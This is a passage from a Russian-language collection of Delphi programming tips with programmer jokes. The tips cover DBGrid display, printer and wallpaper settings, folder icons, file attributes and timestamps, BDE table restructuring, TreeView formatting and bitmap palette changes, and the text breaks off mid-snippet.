- RTFM, батенька... RTFM.


 var
   i: Integer;
   fName: string;
 
 ............
 { Определение изменения месторасположения колонок }
 ............
 
 with DBGrid1.DataSource.DataSet as TTable do
   for i := 0 to IndexDefs.Count - 1 do
   begin
     fName := DBGrid1.Fields[0].FieldName;
     if Copy(IndexDefs[i].Fields, 1, Length(fName)) = fName then
       IndexName := IndexDefs[i].Name
   end;
 




Как изменить шрифт определённой строки в DBGrid



"Всех денег не заработать", - огорченно сказал Билл Гейтс уходя в отставку.


 procedure TForm1.DBGrid1DrawDataCell(Sender: TObject; const Rect: TRect;
   Field: TField; State: TGridDrawState);
 begin
   // If the record's CustNo is 4711 draw the entire row with a
   // line through it. (set the font style to strike out)
   if (Sender as TDBGrid).DataSource.DataSet.FieldByName('CustNo').AsString = '1221' then
     with (Sender as TDBGrid).Canvas do
     begin
       FillRect(Rect);
       // Set the font style to StrikeOut
       Font.Style := Font.Style + [fsStrikeOut];
       Font.Color := clRed;
       // Draw the cell right aligned for floats + offset
       if (Field.DataType = ftFloat) then
         TextOut(Rect.Right-TextWidth(Field.AsString)-3, Rect.Top+3, Field.AsString)
       // Otherwise draw the cell left aligned + offset
       else
         TextOut(Rect.Left+2,Rect.Top+3,Field.AsString);
     end;
 end;
 




Как изменить принтер по умолчанию


 uses
   IniFiles;
 
 procedure TForm1.Button1Click(Sender: TObject);
 var
   WinIni: TIniFile;
   WinIniFileName: array [0..MAX_PATH] of char;
   s: array [0..64] of char;
 begin
   GetWindowsDirectory(WinIniFileName, sizeof(WinIniFileName));
   StrCat(WinIniFileName, '\win.ini');
   WinIni := TIniFile.Create(WinIniFileName);
   try
     WinIni.WriteString('windows','device', 'HP LaserJet Series II,HPPCL,LPT1:');
   finally
     WinIni.Free;
   end;
   StrCopy(S, 'windows');
   SendMessage(HWND_BROADCAST, WM_WININICHANGE, 0, LongInt(@S));
 end;
 




Изменить фон рабочего стола

Если Вы хотите позаботиться о дизайне той машины, на которой запускаете свою прогу, то наиболее эффектно будет изменение фона рабочего стола. Я показываю как это сделать по нажатию кнопки - Button1:


 uses ...Registry; //подключаем модуль
 ...
 procedure TForm1.Button1Click(Sender: TObject);
 var
   Reg: TRegIniFile;
 begin
   Reg := TRegIniFile.Create('Control Panel');
   Reg.WriteString('desktop', 'Wallpaper', 'c:\windows\Установка.bmp');
   Reg.WriteString('desktop', 'TileWallpaper', '0');
   Reg.Free;
   SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, nil, SPIF_SENDWININICHANGE);
 end;
 




Как в Delphi изменить иконку у директории

Обычно, для изменения вида папок в Проводнике используется файл desktop.ini.

Сперва необходимо создать файл Desktop.ini и поместить в ту директорию, иконку которой мы хотим изменить. В программе для этого можно воспользоваться классом TIniFile и передать в него путь директории.

Теперь нам необходимо записать в .ini файл пары <key>=<value>. В Desktop.ini эти пары выглядят следующим образом (самое главное, это указать иконку и её индекс):


 [.ShellCLassInfo]
 IconFile=C:LocationofFolder.ico
 IconIndex=0
 InfoTip=Delphi is the coolest IDE ever!
 // Значение IconFile это путь к .dll, .ico, или .exe. В Delphi это выглядит так:
 
 
 with iniFile do
 begin
   // Следующие строки меняют иконку
   WriteString('.ShellClassInfo', 'IconFile', editIconPath.Text);
   WriteString('.ShellClassInfo', 'IconIndex', editIconIndex.Text);
   WriteString('.ShellClassInfo', 'InfoTip', 'Use Delphi because it rocks!');
   UpdateFile;
 end;
 

Теперь, когда файл Desktop.ini создан, необходимо изменить атрибуты папки и добавить системный флаг. Чтобы иконка отображалась правильно, желательно установить системный флажёк как для папки, так и для её родителя. Для установки атрибутов воспользуемся функцией SetFileAttribue():


 //Устанавливаем системные атрибуты для папки и её родителя
 SetFileAttributes(PChar(edFolderPath.Text), FILE_ATTRIBUTE_SYSTEM);
 if Length(edFolderPath.Text) > 3 then //Если директория не корневая...
 begin
   //функция LastChar возвращает индекс последнего вхождения символа
   //в строку. Этот способ позволяет быстро получить путь родительской
   //директориии, если, конечно, директория не является корневой на диске..
   tempDir := Copy(edFolderPath.Text, 1, LastChar(edFolderPath.Text, '') - 1);
   SetFileAttributes(PChar(tempDir), FILE_ATTRIBUTE_SYSTEM);
 end;
 

Теперь можно открыть Проводник и посмотреть в левой панели на значёк директории.




Изменение размера динамической структуры

Чем больше структура программы соответствует ее логике, тем меньше вы стоите как программист.

При изменении размера динамической структуры удобно пользоваться процедурой ReallocMem. Это возможно в том случае, если после этих данных память пуста. Если же это не получится, будет выделен новый кусок памяти, а данные перемещены туда. Пример:


 function ShowArray(p: PByteArray; count: integer): string;
 var
   i: integer;
 begin
   result := '';
   for i := 0 to count - 1 do
     result := result + IntToStr(p^[i]) + ' ';
 end;
 
 procedure TForm1.Button1Click(Sender: TObject);
 var
   p: PByteArray;
   i: integer;
 begin
   randomize;
   p := AllocMem(10);
   for i := 0 to 9 do
     p^[i] := random(256);
   Label1.Caption := ShowArray(p, 10);
   ReallocMem(p, 20);
   for i := 10 to 19 do
     p^[i] := random(256);
   Label2.Caption := ShowArray(p, 20);
 end;
 

Динамический массив заполняется случайными числами. После этого размер массива изменяется. Для этого используется лишь одна процедура - ReallocMem. После ее выполнения, данные в начале массива остаются неизмененными.




Изменить вид курсора TEdit или другого элемента управления Windows


Звонок в Microsoft:
-Здравствуйте, 3 года назад я установила Windows 95. За все время работы не было ни одного сбоя. Подскажите, что я неправильно делаю?

В примере показано как создать два цветных "bitmap'а": "улыбчивый" и "хмурый" и присвоить их курсору edit'а. Для этого нужно перехватить оконную процедуру edit'а. Чтобы сделать это заменим адрес оконной процедуры Edit'а нашим собственным, а старую оконную процедуру будем вызывать по необходимости. Пример показывает "улыбчивый" курсор при наборе текста и "хмурый" при забое клавишей backspace.


 unit caret1;
 
 interface
 
 {$IFDEF WIN32}
 uses
   Windows, Messages, SysUtils, Classes, Graphics, Controls,
   Forms, Dialogs, StdCtrls;
 {$ELSE}
 uses
   WinTypes, WinProcs, Messages, SysUtils, Classes, Graphics,
   Controls, Forms, Dialogs, StdCtrls;
 {$ENDIF}
 
 type
   TForm1 = class(TForm)
     Edit1: TEdit;
     procedure FormCreate(Sender: TObject);
     procedure FormDestroy(Sender: TObject);
     private
       {Private declarations}
     public
       {Public declarations}
       CaretBm: TBitmap;
       CaretBmBk: TBitmap;
       OldEditsWindowProc: Pointer;
 end;
 
 var
   Form1: TForm1;
 
 implementation
 
 {$R *.DFM}
 
 type
   {$IFDEF WIN32}
   WParameter = LongInt;
   {$ELSE}
   WParameter = Word;
   {$ENDIF}
   LParameter = LongInt;
 
 {New windows procedure for the edit control}
 function NewWindowProc(WindowHandle : hWnd;
 TheMessage : WParameter; ParamW : WParameter;
 ParamL : LParameter) : LongInt
 {$IFDEF WIN32} stdcall; {$ELSE} ; export; {$ENDIF}
 begin
   {Call the old edit controls windows procedure}
   NewWindowProc := CallWindowProc(Form1.OldEditsWindowProc,
   WindowHandle, TheMessage, ParamW, ParamL);
   if TheMessage = WM_SETFOCUS then
   begin
     CreateCaret(WindowHandle, Form1.CaretBm.Handle, 0, 0);
     ShowCaret(WindowHandle);
   end;
   if TheMessage = WM_KILLFOCUS then
   begin
     HideCaret(WindowHandle);
     DestroyCaret;
   end;
   if TheMessage = WM_KEYDOWN then
   begin
     if ParamW = VK_BACK then
       CreateCaret(WindowHandle, Form1.CaretBmBk.Handle, 0, 0)
     else
       CreateCaret(WindowHandle, Form1.CaretBm.Handle, 0, 0);
     ShowCaret(WindowHandle);
   end;
 end;
 
 procedure TForm1.FormCreate(Sender: TObject);
 begin
   {Create a smiling bitmap using the wingdings font}
   CaretBm := TBitmap.Create;
   CaretBm.Canvas.Font.name := 'WingDings';
   CaretBm.Canvas.Font.Height := Edit1.Font.Height;
   CaretBm.Canvas.Font.Color := clWhite;
   CaretBm.Width := CaretBm.Canvas.TextWidth('J') + 2;
   CaretBm.Height := CaretBm.Canvas.TextHeight('J') + 2;
   CaretBm.Canvas.Brush.Color := clBlue;
   CaretBm.Canvas.FillRect(Rect(0, 0, CaretBm.Width,
   CaretBm.Height));
   CaretBm.Canvas.TextOut(1, 1, 'J');
   {Create a frowming bitmap using the wingdings font}
   CaretBmBk := TBitmap.Create;
   CaretBmBk.Canvas.Font.name := 'WingDings';
   CaretBmBk.Canvas.Font.Height := Edit1.Font.Height;
   CaretBmBk.Canvas.Font.Color := clWhite;
   CaretBmBk.Width := CaretBmBk.Canvas.TextWidth('L') + 2;
   CaretBmBk.Height := CaretBmBk.Canvas.TextHeight('L') + 2;
   CaretBmBk.Canvas.Brush.Color := clBlue;
   CaretBmBk.Canvas.FillRect(Rect(0,0, CaretBmBk.Width,
   CaretBmBk.Height));
   CaretBmBk.Canvas.TextOut(1, 1, 'L');
   {Hook the edit controls window procedure}
   OldEditsWindowProc := Pointer(SetWindowLong(Edit1.Handle,
   GWL_WNDPROC, LongInt(@NewWindowProc)));
 end;
 
 procedure TForm1.FormDestroy(Sender: TObject);
 begin
   {Unhook the edit controls window procedure and clean up}
   SetWindowLong(Edit1.Handle,GWL_WNDPROC,
   LongInt(OldEditsWindowProc));
   CaretBm.Free;
   CaretBmBk.Free;
 end;
 
 end.
 




Изменить размер поля или его тип

Автор: Reinhard Kalinke

Единственный способ изменить размер поля или его тип - использовать DBIDoRestructure. Вот простой пример, который может вам помочь в этом:


 function BDEStringFieldResize(ATable: TTable; AFieldName: string; ANewSize:
   integer): boolean;
 type
   TRestructStatus = (rsFieldNotFound, rsNothingToDo, rsDoIt);
 var
   hDB: hDBIdb;
   pTableDesc: pCRTblDesc;
   pFldOp: pCROpType; {фактически это массив array of pCROpType}
   pFieldDesc: pFldDesc; {фактически это массив array of pFldDesc}
   CurPrp: CurProps;
   CSubType: integer;
   CCbrOption: CBRType;
   eRestrStatus: TRestructStatus;
   pErrMess: DBIMsg;
   i: integer;
 begin
   Result := False;
   eRestrStatus := rsFieldNotFound;
   AFieldName := UpperCase(AFieldName);
   pTableDesc := nil;
   pFieldDesc := nil;
   pFldOp := nil;
 
   with ATable do
   try
 
     {убедимся что имеем исключительный доступ и сохраним dbhandle:}
     if Active and (not Exclusive) then
       Close;
     if (not Exclusive) then
       Exclusive := True;
     if (not Active) then
       Open;
     hDB := DBHandle;
 
     {готовим данные для DBIDoRestructure:}
     BDECheck(DBIGetCursorProps(Handle, CurPrp));
     GetMem(pFieldDesc, CurPrp.iFields * sizeOf(FldDesc));
     BDECheck(DBIGetFieldDescs(Handle, pFieldDesc));
     GetMem(pFldOp, CurPrp.iFields * sizeOf(CROpType));
     FillChar(pFldOp^, CurPrp.iFields * sizeOf(CROpType), 0);
 
     {ищем в цикле (через fielddesc) наше поле:}
     for i := 1 to CurPrp.iFields do
     begin
       {для ввода мы имеем серийные номера вместо
       Pdox ID, возвращаемых DbiGetFieldDescs:}
       pFieldDesc^.iFldNum := i;
       if (Uppercase(StrPas(pFieldDesc^.szName)) = AFieldName)
         and (pFieldDesc^.iFldType = fldZSTRING) then
       begin
         eRestrStatus := rsNothingToDo;
         if (pFieldDesc^.iUnits1 <> ANewSize) then
         begin
           pFieldDesc^.iUnits1 := ANewSize;
           pFldOp^ := crModify;
           eRestrStatus := rsDoIt;
         end;
       end;
       inc(pFieldDesc);
       inc(pFldOp);
     end; {for}
 
     {"регулируем" массив указателей:}
     dec(pFieldDesc, CurPrp.iFields);
     dec(pFldOp, CurPrp.iFields);
 
     {в случае отсутствия операций возбуждаем исключение:}
     case eRestrStatus of
       rsNothingToDo: raise Exception.Create('Ничего не сделано');
       rsFieldNotFound: raise Exception.Create('Поле не найдено');
     end;
 
     GetMem(pTableDesc, sizeOf(CRTblDesc));
     FillChar(pTableDesc^, SizeOf(CRTblDesc), 0);
     StrPCopy(pTableDesc^.szTblName, TableName);
     {StrPCopy(pTableDesc^.szTblType,szPARADOX); {}
     pTableDesc^.szTblType := CurPrp.szTableType;
     pTableDesc^.iFldCount := CurPrp.iFields;
     pTableDesc^.pecrFldOp := pFldOp;
     pTableDesc^.pfldDesc := pFieldDesc;
 
     Close;
 
     BDECheck(DbiDoRestructure(hDB, 1, pTableDesc, nil, nil, nil, False));
 
   finally
     if pTableDesc <> nil then
       FreeMem(pTableDesc, sizeOf(CRTblDesc));
     if pFldOp <> nil then
       FreeMem(pFldOp, CurPrp.iFields * sizeOf(CROpType));
     if pFieldDesc <> nil then
       FreeMem(pFieldDesc, CurPrp.iFields * sizeOf(FldDesc));
     Open;
   end; {пробуем с table1}
   Result := True;
 end;
 




Как изменить атрибуты файла


Как студенты-программеры решают куда пойти. Устанавливают Windows и ждут. Упадёт - идут по фирмам апгрейдиться, зависнет - идут пить пиво, заработает - ну, сегодня не повезло, идут на лекции.

Используем функцию SetFileAttributes(). Задаём ей два параметра: сначала имя файла, затем задаваемые атрибуты. Например, так можем файл сделать "только для чтения"


 SetFileAttributes('C:\file.txt', faReadOnly);
 

Можно задавать следующие значения:

  • faReadOnly
  • faHidden
  • faSysFile
  • faVolumeID
  • faDirectory
  • faArchive
  • faAnyFile



Как изменить дату и время файла


 procedure ChangefileStamp(filename: TFileName; newtime: TDateTime);
 var
   vhnd: Integer;
 begin
   vhnd := FileOpen(filename, fmOpenReadWrite);
   FileSetDate(vhnd, Datetimetofiledate(newtime));
   FileClose(vhnd);
 end;
 




Как изменить дату и время файла 2


 procedure TouchFile(const FileName: string; Date: TDateTime);
 var
   TheFile: file;
 begin
   AssignFile(TheFile, FileName);
   Reset(TheFile);
   FileSetDate(TFileRec(TheFile).Handle, DateTimeToFileDate(Date));
   Close(TheFile);
 end;
 




Хочется выделять некоторые строчки в TTreeView жирным или бледным


 uses CommCtrl;
 ...
 procedure SetNodeState(node :TTreeNode; Flags: Integer);
 var
   tvi: TTVItem;
 begin
   FillChar(tvi, Sizeof(tvi), 0);
   tvi.hItem := node.ItemID;
   tvi.mask := TVIF_STATE;
   tvi.stateMask := TVIS_BOLD or TVIS_CUT;
   tvi.state := Flags;
   TreeView_SetItem(node.Handle, tvi);
 end;
 

И вызываем:


 SetNodeState(TreeView1.Selected, TVIS_BOLD); // Текст жиpным
 SetNodeState(TreeView1.Selected, TVIS_CUT); // Иконкy бледной (Ctrl+X)
 SetNodeState(TreeView1.Selected, TVIS_BOLD or TVIS_CUT); // Текст жиpным
 SetNodeState(TreeView1.Selected, 0); // Ни того, ни дpyгого
 




Хочется выделять некоторые строчки в TTreeView жирным


 uses
   CommCtrl;
 
 procedure SetNodeBoldState(Node: TTreeNode; Value: Boolean);
 var
   TVItem: TTVItem;
 begin
   if not Assigned(Node) then Exit;
   with TVItem do
   begin
     mask := TVIF_STATE or TVIF_HANDLE;
     hItem := Node.ItemId;
     stateMask := TVIS_BOLD;
     if Value then state := TVIS_BOLD
     else
       state := 0;
     TreeView_SetItem(Node.Handle, TVItem);
   end;
 end;
 
 // Example: Make the first node bold. 
 // Beispiel: Erster Eintrag fett machen. 
 
 procedure TForm1.Button1Click(Sender: TObject);
 begin
   SetNodeBoldState(TreeView1.Items[0], True);
 end;
 




Как изменить шрифт Hintа

В примере перехватывается событие Application.OnShowHint и изменяется шрифт Hint'а.


 type
   TForm1 = class(TForm)
   procedure FormCreate(Sender: TObject);
   private
     {Private declarations}
   public
     procedure MyShowHint(var HintStr: string; var CanShow: Boolean;var HintInfo: THintInfo);
     {Public declarations}
 end;
 
 var
   Form1: TForm1;
 
 implementation
 
 {$R *.DFM}
 
 procedure TForm1.MyShowHint(var HintStr: string; var CanShow: Boolean; var HintInfo: THintInfo);
 var
   i: integer;
 begin
   for i := 0 to Application.ComponentCount - 1 do
     if Application.Components[i] is THintWindow then
       with THintWindow(Application.Components[i]).Canvas do
       begin
         Font.name := 'Arial';
         Font.Size := 18;
         Font.Style := [fsBold];
         HintInfo.HintColor := clWhite;
       end;
 end;
 
 procedure TForm1.FormCreate(Sender: TObject);
 begin
   Application.OnShowHint := MyShowHint;
 end;
 




Изменение модального статуса формы

Автор: Mike Orriss

Пpиходит программист в магазин. Там пpодавщица - полная такая тетенька. Программист (несколько оглядевшись):
- Бyтылкy пива и пачкy пpезеpвативов.
Продавщица:
- Это ты девyшкy охмypить бyтылкой пива собpался? Вино надо доpогое покyпать.
Программист (отpешенно):
- Да нет. Пиво я выпью, когда она yйдет.

Вы не можете изменить статус формы с не-модального на модальный без ее закрытия и повторного открытия.

Тем не менее, вы можете достигнуть этой цели, блокируя (disabling) все остальные открытые формы. Следующий пример переключает модальный статус формы в зависимости от нахождения таблицы в режиме редактирования:


 procedure TForm2.DataSource1StateChange(Sender: TObject);
 var
   ix: integer;
   b: boolean;
 begin
   with (Sender as TDataSource).DataSet do
     b := (State = dsBrowse);
   with Screen do
     for ix := 0 to FormCount - 1 do
       if Forms[ix] <> ActiveForm then
         Forms[ix].Enabled := b;
 end;
 

Примечание: вам также потребуется предотвращение закрытия формы, пока таблица находится в режиме редактирования (через обработчик события OnCloseQuery).




Изменение конфигурации IDAPI

Автор: Eryk Bottomley

Возможно ли установить параметр MAXFILEHANDLES в IDAPI.CFG посредством Delphi?

Да. Следующий компонент показывает как это можно сделать (а также изменить другие параметры):


 unit CFGTOOL;
 
 interface
 
 uses SysUtils, Classes, DB, DbiProcs, DbiTypes, DbiErrs;
 
 type
   TBDEConfig = class(TComponent)
   private
     FLocalShare: Boolean;
     FMinBufSize: Integer;
     FMaxBufSize: Integer;
     FSystemLangDriver: string;
     FParadoxLangDriver: string;
     FMaxFileHandles: Integer;
     FNetFileDir: string;
     FTableLevel: string;
     FBlockSize: Integer;
     FDefaultDriver: string;
     FStrictIntegrity: Boolean;
     FAutoODBC: Boolean;
 
     procedure Init;
     procedure SetLocalShare(Value: Boolean);
     procedure SetMinBufSize(Value: Integer);
     procedure SetMaxBufSize(Value: Integer);
     procedure SetSystemLangDriver(Value: string);
     procedure SetParadoxLangDriver(Value: string);
     procedure SetMaxFileHandles(Value: Integer);
     procedure SetNetFileDir(Value: string);
     procedure SetTableLevel(Value: string);
     procedure SetBlockSize(Value: Integer);
     procedure SetDefaultDriver(Value: string);
     procedure SetAutoODBC(Value: Boolean);
     procedure SetStrictIntegrity(Value: Boolean);
     procedure UpdateCFGFile(path, item, value: string);
 
   protected
 
   public
     constructor Create(AOwner: TComponent); override;
     destructor Destroy; override;
   published
     property LocalShare: Boolean read FLocalShare write SetLocalShare;
     property MinBufSize: Integer read FMinBufSize write SetMinBufSize;
     property MaxBufSize: Integer read FMaxBufSize write SetMaxBufSize;
     property SystemLangDriver: string
       read FSystemLangDriver write SetSystemLangDriver;
     property ParadoxLangDriver: string
       read FParadoxLangDriver write SetParadoxLangDriver;
     property MaxFileHandles: Integer
       read FMaxFileHandles write SetMaxFileHandles;
     property NetFileDir: string read FNetFileDir write SetNetFileDir;
     property TableLevel: string
       read FTableLevel write SetTableLevel;
     property BlockSize: Integer
       read FBlockSize write SetBlockSize;
     property DefaultDriver: string
       read FDefaultDriver write SetDefaultDriver;
     property AutoODBC: Boolean
       read FAutoODBC write SetAutoODBC;
     property StrictIntegrity: Boolean
       read FStrictIntegrity write SetStrictIntegrity;
 
   end;
 
 procedure Register;
 
 implementation
 
 function StrToBoolean(Value: string): Boolean;
 begin
   if (UpperCase(Value) = 'TRUE') or
     (UpperCase(Value) = 'ON') or
     (UpperCase(Value) = 'YES') or
     (UpperCase(Value) = '.T.') then
     Result := True
   else
     Result := False;
 end;
 
 function BooleanToStr(Value: Boolean): string;
 begin
   if Value then
     Result := 'TRUE'
   else
     Result := 'FALSE';
 end;
 
 procedure Register;
 begin
   RegisterComponents('Data Access', [TBDEConfig]);
 end;
 
 procedure TBDEConfig.Init;
 var
   h: hDBICur;
   pCfgDes: pCFGDesc;
   n, v: string;
 begin
   Check(DbiOpenCfgInfoList(nil, dbiREADWRITE, cfgPersistent, '\SYSTEM\INIT',
     h));
   GetMem(pCfgDes, sizeof(CFGDesc));
   try
     FillChar(pCfgDes^, sizeof(CFGDesc), #0);
     while (DbiGetNextRecord(h, dbiWRITELOCK, pCfgDes, nil) = DBIERR_NONE) do
     begin
       n := StrPas(pCfgDes^.szNodeName);
       v := StrPas(pCfgDes^.szValue);
       if n = 'LOCAL SHARE' then
         FLocalShare := StrToBoolean(v)
       else if n = 'MINBUFSIZE' then
         FMinBufSize := StrToInt(v)
       else if n = 'MAXBUFSIZE' then
         FMaxBufSize := StrToInt(v)
       else if n = 'MAXFILEHANDLES' then
         FMaxFileHandles := StrToInt(v)
       else if n = 'LANGDRIVER' then
         FSystemLangDriver := v
       else if n = 'AUTO ODBC' then
         FAutoODBC := StrToBoolean(v)
       else if n = 'DEFAULT DRIVER' then
         FDefaultDriver := v;
     end;
     if (h <> nil) then
       DbiCloseCursor(h);
     Check(DbiOpenCfgInfoList(nil, dbiREADWRITE, cfgPersistent,
       '\DRIVERS\PARADOX\INIT', h));
     FillChar(pCfgDes^, sizeof(CFGDesc), #0);
     while (DbiGetNextRecord(h, dbiWRITELOCK, pCfgDes, nil) = DBIERR_NONE) do
     begin
       n := StrPas(pCfgDes^.szNodeName);
       v := StrPas(pCfgDes^.szValue);
       if n = 'NET DIR' then
         FNetFileDir := v
       else if n = 'LANGDRIVER' then
         FParadoxLangDriver := v;
     end;
     if (h <> nil) then
       DbiCloseCursor(h);
     Check(DbiOpenCfgInfoList(nil, dbiREADWRITE, cfgPersistent,
       '\DRIVERS\PARADOX\TABLE CREATE', h));
     FillChar(pCfgDes^, sizeof(CFGDesc), #0);
     while (DbiGetNextRecord(h, dbiWRITELOCK, pCfgDes, nil) = DBIERR_NONE) do
     begin
       n := StrPas(pCfgDes^.szNodeName);
       v := StrPas(pCfgDes^.szValue);
       if n = 'LEVEL' then
         FTableLevel := v
       else if n = 'BLOCK SIZE' then
         FBlockSize := StrToInt(v)
       else if n = 'STRICTINTEGRITY' then
         FStrictIntegrity := StrToBoolean(v);
     end;
   finally
     FreeMem(pCfgDes, sizeof(CFGDesc));
     if (h <> nil) then
       DbiCloseCursor(h);
   end;
 end;
 
 procedure TBDEConfig.SetLocalShare(Value: Boolean);
 begin
   UpdateCfgFile('\SYSTEM\INIT', 'LOCAL SHARE', BooleanToStr(Value));
   FLocalShare := Value;
 end;
 
 procedure TBDEConfig.SetMinBufSize(Value: Integer);
 begin
   UpdateCfgFile('\SYSTEM\INIT', 'MINBUFSIZE', IntToStr(Value));
   FMinBufSize := Value;
 end;
 
 procedure TBDEConfig.SetMaxBufSize(Value: Integer);
 begin
   UpdateCfgFile('\SYSTEM\INIT', 'MAXBUFSIZE', IntToStr(Value));
   FMaxBufSize := Value;
 end;
 
 procedure TBDEConfig.SetSystemLangDriver(Value: string);
 begin
   UpdateCfgFile('\SYSTEM\INIT', 'LANGDRIVER', Value);
   FSystemLangDriver := Value;
 end;
 
 procedure TBDEConfig.SetParadoxLangDriver(Value: string);
 begin
   UpdateCfgFile('\DRIVERS\PARADOX\INIT', 'LANGDRIVER', Value);
   FParadoxLangDriver := Value;
 end;
 
 procedure TBDEConfig.SetMaxFileHandles(Value: Integer);
 begin
   UpdateCfgFile('\SYSTEM\INIT', 'MAXFILEHANDLES', IntToStr(Value));
   FMaxFileHandles := Value;
 end;
 
 procedure TBDEConfig.SetNetFileDir(Value: string);
 begin
   UpdateCfgFile('\DRIVERS\PARADOX\INIT', 'NET DIR', Value);
   FNetFileDir := Value;
 end;
 
 procedure TBDEConfig.SetTableLevel(Value: string);
 begin
   UpdateCfgFile('\DRIVERS\PARADOX\TABLE CREATE', 'LEVEL', Value);
   FTableLevel := Value;
 end;
 
 procedure TBDEConfig.SetBlockSize(Value: Integer);
 begin
   UpdateCfgFile('\DRIVERS\PARADOX\TABLE CREATE', 'BLOCK SIZE', IntToStr(Value));
   FBlockSize := Value;
 end;
 
 procedure TBDEConfig.SetStrictIntegrity(Value: Boolean);
 begin
   UpdateCfgFile('\DRIVERS\PARADOX\TABLE CREATE', 'STRICTINTEGRITY',
     BooleanToStr(Value));
   FStrictIntegrity := Value;
 end;
 
 procedure TBDEConfig.SetDefaultDriver(Value: string);
 begin
   UpdateCfgFile('\SYSTEM\INIT', 'DEFAULT DRIVER', Value);
   FDefaultDriver := Value;
 end;
 
 procedure TBDEConfig.SetAutoODBC(Value: Boolean);
 begin
   UpdateCfgFile('\SYSTEM\INIT', 'AUTO ODBC', BooleanToStr(Value));
   FAutoODBC := Value;
 end;
 
 procedure TBDEConfig.UpdateCFGFile;
 var
   h: hDbiCur;
   pCfgDes: pCFGDesc;
   pPath: array[0..127] of char;
 begin
   StrPCopy(pPath, Path);
   Check(DbiOpenCfgInfoList(nil, dbiREADWRITE, cfgPersistent, pPath, h));
   GetMem(pCfgDes, sizeof(CFGDesc));
   try
     FillChar(pCfgDes^, sizeof(CFGDesc), #0);
     while (DbiGetNextRecord(h, dbiWRITELOCK, pCfgDes, nil) = DBIERR_NONE) do
     begin
       if StrPas(pCfgDes^.szNodeName) = item then
       begin
         StrPCopy(pCfgDes^.szValue, value);
         Check(DbiModifyRecord(h, pCfgDes, True));
       end;
     end;
   finally
     FreeMem(pCfgDes, sizeof(CFGDesc));
     if (h <> nil) then
       DbiCloseCursor(h);
   end;
 end;
 
 constructor TBDEConfig.Create(AOwner: TComponent);
 begin
   inherited Create(AOwner);
   Init;
 end;
 
 destructor TBDEConfig.Destroy;
 begin
   inherited Destroy;
 end;
 
 end.
 




Изменение цветовой палитры изображения

Автор: Mike Scott

Пpогpаммист пошел покупать свитеp, но свитеpа были неподходящих цветов.
- Hичего, - подумал пpогpаммист - Пpиду домой сменю палитpу!

Мне необходимо изменить цветовую палитру изображения с помощью SetBitmapBits, но у меня, к сожалению, ничего не получается.

Использование SetBitmapBits - не очень хорошая идея, поскольку она имеет дело с HBitmaps, в котором формат пикселя не определен. Несомненно, это более безопасная операция, но никаких гарантий по ее выполнению дать невозможно.

Взамен я предлагаю использовать функции DIB API. Вот некоторый код, позволяющий вам изменять таблицу цветов. Просто напишите метод с такими же параметрами, как у TFiddleProc и и изменяйте ColorTable, передаваемое как параметр. Затем просто вызовите процедуру FiddleBitmap, передающую TBitmap и ваш fiddle-метод, например так:


 FiddleBitmap( MyBitmap, Fiddler ) ;
 


 type
   TFiddleProc = procedure(var ColorTable: TColorTable) of object;
 
 const
   LogPaletteSize = sizeof(TLogPalette) + sizeof(TPaletteEntry) * 255;
 
 function PaletteFromDIB(BitmapInfo: PBitmapInfo): HPalette;
 var
   LogPalette: PLogPalette;
   i: integer;
   Temp: byte;
 begin
   with BitmapInfo^, bmiHeader do
   begin
     GetMem(LogPalette, LogPaletteSize);
     try
       with LogPalette^ do
       begin
         palVersion := $300;
         palNumEntries := 256;
         Move(bmiColors, palPalEntry, sizeof(TRGBQuad) * 256);
         for i := 0 to 255 do
           with palPalEntry[i] do
           begin
             Temp := peBlue;
             peBlue := peRed;
             peRed := Temp;
             peFlags := PC_NOCOLLAPSE;
           end;
 
         { создаем палитру }
         Result := CreatePalette(LogPalette^);
       end;
     finally
       FreeMem(LogPalette, LogPaletteSize);
     end;
   end;
 end;
 
 { Следующая процедура на основе изображения создает DIB,
 изменяет ее таблицу цветов, создавая тем самым новую палитру,
 после чего передает ее обратно изображению. При этом
 используется метод косвенного вызова, с помощью которого
 изменяется палитра цветов - ей передается array[ 0..255 ] of TRGBQuad. }
 
 procedure FiddleBitmap(Bitmap: TBitmap; FiddleProc: TFiddleProc);
 const
   BitmapInfoSize = sizeof(TBitmapInfo) + sizeof(TRGBQuad) * 255;
 var
   BitmapInfo: PBitmapInfo;
   Pixels: pointer;
   InfoSize: integer;
   ADC: HDC;
   OldPalette: HPalette;
 begin
   { получаем DIB }
   GetMem(BitmapInfo, BitmapInfoSize);
   try
     { меняем таблицу цветов - ПРИМЕЧАНИЕ: она использует 256 цветов DIB }
     FillChar(BitmapInfo^, BitmapInfoSize, 0);
     with BitmapInfo^.bmiHeader do
     begin
       biSize := sizeof(TBitmapInfoHeader);
       biWidth := Bitmap.Width;
       biHeight := Bitmap.Height;
       biPlanes := 1;
       biBitCount := 8;
       biCompression := BI_RGB;
       biClrUsed := 256;
       biClrImportant := 256;
       GetDIBSizes(Bitmap.Handle, InfoSize, biSizeImage);
 
       { распределяем место для пикселей }
       Pixels := GlobalAllocPtr(GMEM_MOVEABLE, biSizeImage);
       try
         { получаем пиксели DIB }
         ADC := GetDC(0);
         try
           OldPalette := SelectPalette(ADC, Bitmap.Palette, false);
           try
             RealizePalette(ADC);
             GetDIBits(ADC, Bitmap.Handle, 0, biHeight, Pixels, BitmapInfo^,
               DIB_RGB_COLORS);
           finally
             SelectPalette(ADC, OldPalette, true);
           end;
         finally
           ReleaseDC(0, ADC);
         end;
 
         { теперь изменяем таблицу цветов }
         FiddleProc(PColorTable(@BitmapInfo^.bmiColors)^);
 
         { создаем палитру на основе новой таблицы цветов }
         Bitmap.Palette := PaletteFromDIB(BitmapInfo);
         OldPalette := SelectPalette(Bitmap.Canvas.Handle, Bitmap.Palette,
           false);
         try
           RealizePalette(Bitmap.Canvas.Handle);
           StretchDIBits(Bitmap.Canvas.Handle, 0, 0, biWidth, biHeight, 0, 0,
             biWidth, biHeight,
             Pixels, BitmapInfo^, DIB_RGB_COLORS, SRCCOPY);
         finally
           SelectPalette(Bitmap.Canvas.Handle, OldPalette, true);
         end;
       finally
         GlobalFreePtr(Pixels);
       end;
     end;
   finally
     FreeMem(BitmapInfo, BitmapInfoSize);
   end;
 end;
 
 { Пример "fiddle"-метода }
 
 procedure TForm1.Fiddler(var ColorTable: TColorTable);
 var
   i: integer;
 begin
   for i := 0 to 255 do
     with ColorTable[i] do
     begin
       rgbRed := rgbRed * 9 div 10;
       rgbGreen := rgbGreen * 9 div 10;
       rgbBlue := rgbBlue * 9 div 10;
     end;
 end;
 




Вызвать диалог изменения настроек интернета

Вошёл в интернет, как в женщину.


 uses
